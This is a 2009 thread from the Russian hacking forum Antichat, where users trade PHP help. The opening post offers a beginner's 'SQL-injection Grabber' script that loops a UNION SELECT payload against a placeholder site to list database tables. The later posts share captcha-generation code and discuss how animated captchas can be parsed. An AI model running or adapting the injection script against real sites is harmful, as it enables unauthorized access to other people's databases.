Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

18.08.2009, 09:06
|
|
Новичок
Регистрация: 17.08.2009
Сообщений: 11
Провел на форуме: 25459
Репутация:
3
|
|
ааа все ребят, я сам состряпал, всю ночь кряхтел! можете поздравить меня с моим первым php скриптом!!
PHP код:
<?php
echo "-----------------------\n";
echo "|SQL-injection Grabber|\n";
echo "|Povered by lucky_guy!|\n";
echo "-----------------------\n";
$file = "result.txt";
if (is_writable($file)) {
if (!$fop = fopen($file, 'a')) {
echo "Cannot open file";
exit;}}
else {
echo "The file file is not writable";
}
for ($i=1;$i<100;$i++) {
$url = fopen("http://bla-bal.com/index.php?id=5'+union+all+select+1,table_name+from+information_schema.tables+limit+$i,1/*", "r");
while (!feof($url)) {
$buffer = fgets($url, 128);{
fwrite($fop, $buffer);
}
}}
fclose($url);
fclose($fop);
echo "-----------------------\n";
echo "| DONE! |\n";
echo "-----------------------\n";
?>
|
|
|

18.08.2009, 09:08
|
|
Новичок
Регистрация: 17.08.2009
Сообщений: 11
Провел на форуме: 25459
Репутация:
3
|
|
теперь другой вопрос:
как отпарсить то что получилось?
|
|
|

18.08.2009, 10:39
|
|
Постоянный
Регистрация: 05.07.2008
Сообщений: 555
Провел на форуме: 3134311
Репутация:
1467
|
|
Сообщение от PROPH3T
Есть скрипт, в нём осуществляется переход по конкретной ссылке,
после перехода необходимовставить не большой java-скрипт в строку адреса и "перейти" по нему...
а то, что отобразится на экране после всего этого - необходимо записать в файл...
Не знаю как поступить с js. Подскажите, это вообще осуществимо в php скрипте, если да, то как?...
Заранее спасибо.
Не совсем понял, что тебе нужно.
>необходимо вставить не большой java-скрипт в строку адреса и "перейти" по нему...
header('location: '.$variable);
>а то, что отобразится на экране после всего этого - необходимо записать в файл...
В файл на сервере? Можно вручную выводить в файл и на stdout (юзеру). Либо читай про функцию ob_start()
Насколько я помню, JS не поддерживает работу с ФС пользователя
|
|
|

18.08.2009, 17:48
|
|
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме: 2607957
Репутация:
184
|
|
Подскажите, как сделать GIF анимацию на PHP ?
Хочу аниированную капчу замутить
|
|
|

18.08.2009, 18:02
|
|
Постоянный
Регистрация: 24.11.2008
Сообщений: 416
Провел на форуме: 910902
Репутация:
100
|
|
PHP код:
<?
session_start ();
switch ($a) {
case 'image':
$im = @imagecreate (80, 20) or die ("Cannot initialize new GD image stream!");
$bg = imagecolorallocate ($im, 232, 238, 247);
$char = $_SESSION['code'];
//создаём шум на фоне
for ($i=0; $i<=128; $i++) {
$color = imagecolorallocate ($im, rand(0,255), rand(0,255), rand(0,255)); //задаём цвет
imagesetpixel($im, rand(2,80), rand(2,20), $color); //рисуем пиксель
}
//выводим символы кода
for ($i = 0; $i < strlen($char); $i++) {
$color = imagecolorallocate ($im, rand(0,255), rand(0,128), rand(0,255)); //задаём цвет
$x = 5 + $i * 20;
$y = rand(1, 6);
imagechar ($im, 5, $x, $y, $char[$i], $color);
}
/*/упрощённый вариант
$color = imagecolorallocate($img, 0, 0, 0);
imagestring($im, 3, 5, 3, $char, $color);*/
//антикеширование
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
//создание рисунка в зависимости от доступного формата
if (function_exists("imagepng")) {
header("Content-type: image/png");
imagepng($im);
} elseif (function_exists("imagegif")) {
header("Content-type: image/gif");
imagegif($im);
} elseif (function_exists("imagejpeg")) {
header("Content-type: image/jpeg");
imagejpeg($im);
} else {
die("No image support in this PHP server!");
}
imagedestroy ($im);
break;
case 'submit':
//проверка кода
if (empty($_GET['code']) or empty($_SESSION['code'])) {
echo 'Вы не указали код подтверждения';
} elseif ($_GET['code'] != $_SESSION['code']) {
echo 'Код подтверждения не совпадает';
} else {
echo 'Всё Ok!';
}
break;
default:
$_SESSION['code'] = substr(md5(uniqid("")),0,4);
echo '<form action="captcha.php" method="get">'.
'<input type="hidden" name="a" value="submit">'.
'<label for="code">Код подтверждения:</label>'.
'<input type="text" id="code" name="code" size="4" maxlength="4">'.
'<img align="absmiddle" src="captcha.php?a=image">'.
'<input type="submit" value="Go">'.
'</form>';
break;
}
?>
как то так
|
|
|

18.08.2009, 18:04
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
http://turenko.com/blog/2007/07/09/gif-animation-using-php/
|
|
|

18.08.2009, 18:55
|
|
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме: 2607957
Репутация:
184
|
|
Сообщение от SaiRus
PHP код:
<?
session_start ();
switch ($a) {
case 'image':
$im = @imagecreate (80, 20) or die ("Cannot initialize new GD image stream!");
$bg = imagecolorallocate ($im, 232, 238, 247);
$char = $_SESSION['code'];
//создаём шум на фоне
for ($i=0; $i<=128; $i++) {
$color = imagecolorallocate ($im, rand(0,255), rand(0,255), rand(0,255)); //задаём цвет
imagesetpixel($im, rand(2,80), rand(2,20), $color); //рисуем пиксель
}
//выводим символы кода
for ($i = 0; $i < strlen($char); $i++) {
$color = imagecolorallocate ($im, rand(0,255), rand(0,128), rand(0,255)); //задаём цвет
$x = 5 + $i * 20;
$y = rand(1, 6);
imagechar ($im, 5, $x, $y, $char[$i], $color);
}
/*/упрощённый вариант
$color = imagecolorallocate($img, 0, 0, 0);
imagestring($im, 3, 5, 3, $char, $color);*/
//антикеширование
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
//создание рисунка в зависимости от доступного формата
if (function_exists("imagepng")) {
header("Content-type: image/png");
imagepng($im);
} elseif (function_exists("imagegif")) {
header("Content-type: image/gif");
imagegif($im);
} elseif (function_exists("imagejpeg")) {
header("Content-type: image/jpeg");
imagejpeg($im);
} else {
die("No image support in this PHP server!");
}
imagedestroy ($im);
break;
case 'submit':
//проверка кода
if (empty($_GET['code']) or empty($_SESSION['code'])) {
echo 'Вы не указали код подтверждения';
} elseif ($_GET['code'] != $_SESSION['code']) {
echo 'Код подтверждения не совпадает';
} else {
echo 'Всё Ok!';
}
break;
default:
$_SESSION['code'] = substr(md5(uniqid("")),0,4);
echo '<form action="captcha.php" method="get">'.
'<input type="hidden" name="a" value="submit">'.
'<label for="code">Код подтверждения:</label>'.
'<input type="text" id="code" name="code" size="4" maxlength="4">'.
'<img align="absmiddle" src="captcha.php?a=image">'.
'<input type="submit" value="Go">'.
'</form>';
break;
}
?>
как то так
Тут ни слова про анимацию.
|
|
|

18.08.2009, 19:29
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Кстати, анимированая капча = обычной картинке, т.к. всегда можно взять один из кадров и парсить его...
|
|
|

18.08.2009, 19:33
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Кстати, анимированая капча = обычной картинке, т.к. всегда можно взять один из кадров и парсить его...
А если:
1й кадр - буква А
2й кадр - буква Q
3й кадр - цифра 3
введите символы на анимированом изображении.
ЗЫ кадры пронумеровны в углу, для порядка, либо порядок ввода неважен
|
|
|

18.08.2009, 19:39
|
|
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме: 2607957
Репутация:
184
|
|
Сообщение от b3
А если:
1й кадр - буква А
2й кадр - буква Q
3й кадр - цифра 3
введите символы на анимированом изображении.
ЗЫ кадры пронумеровны в углу, для порядка, либо порядок ввода неважен
Вот именно так и хочу сделать
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|